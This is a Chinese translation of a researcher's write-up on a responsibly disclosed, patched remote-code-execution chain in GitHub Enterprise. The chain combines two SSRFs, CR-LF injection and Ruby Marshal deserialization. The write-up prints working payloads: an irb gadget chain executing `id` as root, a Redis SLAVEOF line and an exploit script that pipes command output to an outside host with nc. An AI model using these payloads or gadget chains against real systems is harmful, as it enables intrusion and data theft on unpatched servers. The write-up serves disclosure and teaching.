大家好,距離上次漏洞披露已有半年之餘,在這篇文章中,我將向大家展示如何通過4個漏洞完美實現GitHub Enterprise的RCE執行,該RCE實現方法與服務器端請求僞造技術(SSRF)相關,技術稍顯過時但綜合利用威力強大。最終,該RCE漏洞被GitHub官方認定爲3週年衆測項目的最佳漏洞,我也因此獲得了$12500美元賞金。
在我今年受邀參加的BlackHat大會演講PPT中,有更多關於SSRF技術的深度剖析,請大家捧場觀看《A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages》!這也是我第一次在這般高大上場合的英文演講,非常難忘!下面我們言歸正傳,一起來說說這個GitHub Enterprise企業版RCE漏洞的實現方法:
說明
在我上一次對GitHub Enterprise SQL注入漏洞的發現中,曾提及利用Ruby代碼破解GitHub混淆保護機制和發現SQL注入漏洞的方法,之後,就有一些優秀的漏洞挖掘者及時關注GitHub Enterprise並發現了多個上等漏洞,如:
The road to your codebase is paved with forged assertions by ilektrojohn
GitHub Enterprise Remote Code Execution by iblue
我表示後悔沮喪,爲什麼我就發現不了呢!?所以,接下來我打算努力去挖掘那些別人想像不到的高危漏洞。
挖洞開始
第1個漏洞 – 表面無用的SSRF漏洞
在研究GitHub Enterprise程序時,我發現了一個名爲WebHook的有趣功能,它能在某些特定GIT命令執行時自定義HTTP回調。如你可定義如下回調URL:
https://<host>/<user>/<repo>/settings/hooks/new
並通過提交文件觸發執行它,對此,GitHub Enterprise會利用一個HTTP請求提示你。實際的Payload和執行請求如下:
Payload URL:
回調請求(Callback Request):
POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972
payload=...
另外,由於GitHub Enterprise使用Ruby Gem的faraday庫來獲取外部資源,並通過Gem的faraday-restrict-ip-addresses功能來防止用戶請求內部服務。這個Gem功能就像一個黑名單機制,但我們可以通過RFC 3986定義的稀有IP地址格式(Rare IP Address Formats)來繞過它,想想,在Linux系統中,0代表的是localhost,所以有以下PoC:
OK,現在我們的一個SSRF漏洞成型了,但卻發揮不了作用,爲什麼呢?這是因爲該SSRF漏洞存在以下幾方面限制:
只支持POST方法
只允許HTTP和HTTPS方式
不產生302重定向
faraday中不存在CR-LF命令注入
無法對POST數據和HTTP頭信息進行控制
我們唯一能控制的就是其中的Path(路徑)部分。但值得一提的是,該SSRF漏洞可導致拒絕服務攻擊(DoS)。
由於GitHub Enterprise的9200端口爲綁定了一個ElasticSearch搜索服務,當使用關機命令時,該ElasticSearch服務不會對POST數據進行檢查,因此,我們可隨意對它的REST-ful API接口進行操作,可有如下DoS的PoC:
第2個漏洞 – 內部Graphite服務的SSRF
第1個SSRF漏洞利用存在諸多限制,所以我繼續測試其內部服務看是否能爲我所用。這還真是個大工程,因爲其中包含了數種HTTP服務,每種服務都由C、C++、Go、Python和Ruby分別實現。在經過數天的研究之後,我發現其中一個8000端口名爲Graphite的服務,該服務負責高度擴展地向用戶實時顯示系統當前狀態,其爲Python編寫的開源項目(可點此下載源碼)。
在對Graphite源碼的分析後,我又快速發現了另外一個SSRF漏洞,它存在於以下文件
webapps/graphite/composer/views.py
def send_email(request):
try:
recipients = request.GET['to'].split(',')
url = request.GET['url']
proto, server, path, query, frag = urlsplit(url)
if query: path += '?' + query
conn = HTTPConnection(server)
conn.request('GET',path)
resp = conn.getresponse()
...
從上述代碼可以看到,Graphite服務會接收用戶輸入的url地址然後對該地址進行獲取利用!所以,這樣的話,我們就可以利用第1個SSRF漏洞來觸發這第2個SSRF漏洞,最後還可將這兩個漏洞組合成一個SSRF執行鏈。合成的SSRF執行鏈Payload如下:
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo
第二個SSRF漏洞的請求:
$ nc -vvlp 12345
...
GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity
OK,現在我們已經成功地將基於POST的SSRF漏洞改造成了基於GET的SSRF漏洞了。但仍然不能直接實現有效的漏洞利用,再挖挖看!
第3個漏洞 – Python語言的CR-LF命令注入
可以從Graphite源碼中看到,Graphite使用Python的httplib.HTTPConnection方法來獲取外部資源。在經過一些研究測試後,我發現httplib.HTTPConnection方法中竟存在一個CR-LF命令注入漏洞!這樣的話,我們就可以在HTTP協議中嵌入惡意Payload了。
CR-LF注入PoC:
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo
:
$ nc -vvlp 12345
...
GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity
該注入漏洞在整個漏洞利用鏈中發揮的作用非常關鍵。現在,我就可以在這個SSRF漏洞執行鏈中引入其他協議了,比如,如果想拿Redis下手,可以嘗試使用下列Payload:
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A
說明:由於Redis的SLAVEOF命令可以允許執行帶外數據,所以,這對某些Blind-SSRF實現非常有效。
現在漏洞利用思路已經柳暗花明,但一些可引入協議還存在問題,如:
SSH、MySQL和SSL協議會失效
由於Python2版本原因,第2個SSRF漏洞所使用的Payload只允許0×00到0x8F的字節數據通過
順便提下,還有很多利用HTTP引入協議的利用方法,如基於Linux Glibc功能的SSL SNI引入協議,以及CVE-2016-5699的Python標註頭注入等,具體參看我的BlackHat演講PPT。
第4個漏洞 – 封裝模塊存在反序列化漏洞
現在的問題是,我該選擇哪個協議進行引入呢?另外,我還花費了大把時間來測試控制Redis或Memcached之後可以觸發的漏洞。
在對大量源碼的分析過程中,我對GitHub在Memcached中存儲Ruby對象的機制覺得好奇,一番研究後發現,GitHub Enterprise使用Ruby Gem的Memcached方式來處理緩存,而其通過Marshal模塊進行封裝。這下好了,大家知道Marshal模塊本來就不安全且存在反序列化漏洞(點此參考)。更上一層樓了!我們可以使用前述的SSRF漏洞執行鏈來把惡意Ruby對象存儲在Memcached中,當GitHub要獲取緩存時,Ruby Gem memcached就會自動執行反序列化操作,這種效果就會是:哇,遠程代碼執行!
GitHub Enterprise Rails控制端中存在反序列化漏洞的Marshal:
irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails
irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true
irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi"
irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET"
irb(main):005:0> code = "`id`"
=> "`id`"
irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
=> "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u0006:\u0006ET:\f@linenoi\u0000:\f@method:\vresult"
irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true
irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n"
回過頭來,我們總結梳理一下整個漏洞利用過程:
第1個SSRF漏洞,用來繞過WebHook的保護機制
第2個SSRF漏洞,存在於Graphite服務中
結合第1個和第2個SSRF漏洞,組成SSRF漏洞執行鏈
發現SSRF執行鏈中的CR-LF命令注入漏洞
利用Memcached方式的Marshal反序列化漏洞,注入惡意Marshal對象
觸發遠程代碼執行
最終PoC如下:
視頻演示:http://v.youku.com/v_show/id_XMjkzNzM3NjA1Ng==.html
Exploit代碼
#!/usr/bin/python
from urllib import quote
''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
'''
marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult'
payload = [
'',
'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
marshal_code,
'',
''
]
payload = map(quote, payload)
url = 'http://0:8000/composer/[email protected]&url=http://127.0.0.1:11211/'
print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by [email protected]"
print '-'*10 + '\n'
print url + '%0D%0A'.join(payload)
print '''
Inserting WebHooks from:
https://ghe-server/:user/:repo/settings/hooks
Triggering RCE from:
https://ghe-server/search?q=ggggg&type=Repositories
'''
修復措施
GitHub採取了以下修復措施:
增強了Gem的faraday-restrict-ip-addresses功能
採用了自定義Django中間件來防止攻擊者從外部訪問http://127.0.0.1:8000/render/
加強iptables規則,限制User-Agent: GitHub-Hookshot訪問模式
漏洞報送進程
2017年01月23日23:22 通過HackerOne平臺將漏洞上報GitHub
2017年01月23日23:37 GitHub進行漏洞分類
2017年01月24日04:43 GitHub確認漏洞,並回應正在修復
2017年01月31日14:01 更新版本的GitHub Enterprise 2.8.7發佈
2017年02月01日01:02 GitHub回覆稱漏洞成功修復
2017年02月01日01:02 收到GitHub獎勵的$7500刀漏洞賞金
2017年03月15日02:38 GitHub認定該漏洞爲年度最佳漏洞,並再次向我獎勵了$5000刀
*參考來源:orange.tw,